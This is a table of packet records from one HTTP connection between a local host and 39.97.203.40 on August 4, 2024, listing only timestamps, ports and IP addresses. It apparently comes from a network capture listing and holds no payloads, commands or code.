Aug 4, 2024 12:55:10.439789057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.439870119 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.439886093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.439901114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.439954996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.440004110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.440018892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.440066099 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.443438053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443500996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443516970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443559885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.443584919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443650961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.443670988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443686008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443708897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443722010 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.443756104 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.443834066 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.448534966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448549032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448563099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448585987 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.448631048 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448646069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448673010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.448750019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448765039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448779106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.448792934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.448817015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.451159000 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451241016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451258898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451283932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.451351881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451366901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451383114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451397896 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.451397896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451426029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.451441050 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.451479912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.453788996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.453860998 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.453876019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.453905106 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.453979015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.453994036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.454009056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.454022884 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.454051971 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.454061985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.463933945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.463996887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464005947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.464010954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464049101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.464095116 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464109898 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464126110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464149952 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.464174986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464210987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.464216948 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.473257065 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473303080 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.473320007 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473335028 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473368883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.473514080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473529100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473543882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473567009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.473571062 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.473603010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489172935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489214897 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489229918 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489255905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489401102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489415884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489430904 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489439964 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489447117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489464045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489470959 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489500999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489696980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489712954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489727974 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489743948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489753008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489780903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.489950895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.489972115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.490014076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.492098093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492111921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492126942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492145061 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.492224932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492242098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492264986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.492336988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492352009 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492377043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.492400885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.492439032 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.498431921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498517036 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498531103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498558998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.498569965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498585939 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498610020 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.498709917 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498725891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498739004 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.498754978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.498785019 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.501492977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501566887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501581907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501614094 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.501660109 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501683950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501703024 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.501770020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501785040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501799107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.501810074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.501832008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.503410101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503468037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503489017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503511906 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.503585100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503599882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503616095 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.503631115 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.503653049 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.503722906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509095907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509135962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.509186029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509200096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509223938 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509238958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509239912 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.509269953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.509380102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509394884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509408951 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.509422064 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.515448093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.515496969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.515503883 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.515520096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.515556097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.515594006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.515919924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.515954018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.516001940 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.516016960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.516031027 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.516050100 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.520726919 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520776987 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.520778894 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520795107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520831108 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.520864964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520880938 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520895958 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520910978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520922899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.520925045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.520957947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.527487040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527537107 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.527542114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527556896 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527597904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.527622938 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527679920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527720928 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.527759075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527772903 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527786970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.527808905 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.531184912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531238079 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.531281948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531297922 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531333923 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.531371117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531385899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531424999 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.531471968 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531487942 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.531526089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.538081884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538127899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538144112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538168907 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.538366079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538381100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538397074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538410902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.538419962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.538434029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.539046049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539094925 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.539129972 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539144993 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539182901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.539295912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539309978 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539324999 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539340019 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.539346933 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.539376974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.541685104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541714907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541729927 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541754007 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.541862965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541877031 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541893959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541903973 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.541908026 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.541945934 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.552195072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552212954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552236080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552241087 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.552273989 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.552278996 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552376032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552390099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552406073 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552414894 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.552419901 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.552464962 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.561186075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561228991 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561233044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.561244011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561280966 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.561436892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561451912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561466932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561482906 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.561486959 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.561527967 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577032089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577047110 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577064037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577078104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577095985 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577121973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577122927 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577168941 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577183962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577208996 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577306986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577322960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577337980 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577347994 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577383995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577503920 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577521086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577536106 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577560902 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.577651024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.577696085 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.579927921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.579976082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.579991102 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580018997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.580127954 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580142021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580173969 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.580178976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580194950 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580215931 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.580281973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580295086 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.580322027 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.580343008 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.586745977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.586770058 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.586786032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.586791039 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.586827040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.587023020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.587038040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.587053061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.587066889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.587073088 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.587111950 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.589328051 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589420080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589432955 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589464903 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.589498043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589513063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589528084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589543104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589543104 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.589566946 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.589695930 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.589740992 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.591406107 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591471910 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591489077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591519117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.591588020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591610909 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591634989 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.591666937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591681957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591696024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.591707945 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.591737986 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.596941948 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.596992016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.597007990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.597043991 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:10.597170115 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:10.597184896 CEST	80	49709	39.97.203.40	192.168.2.5
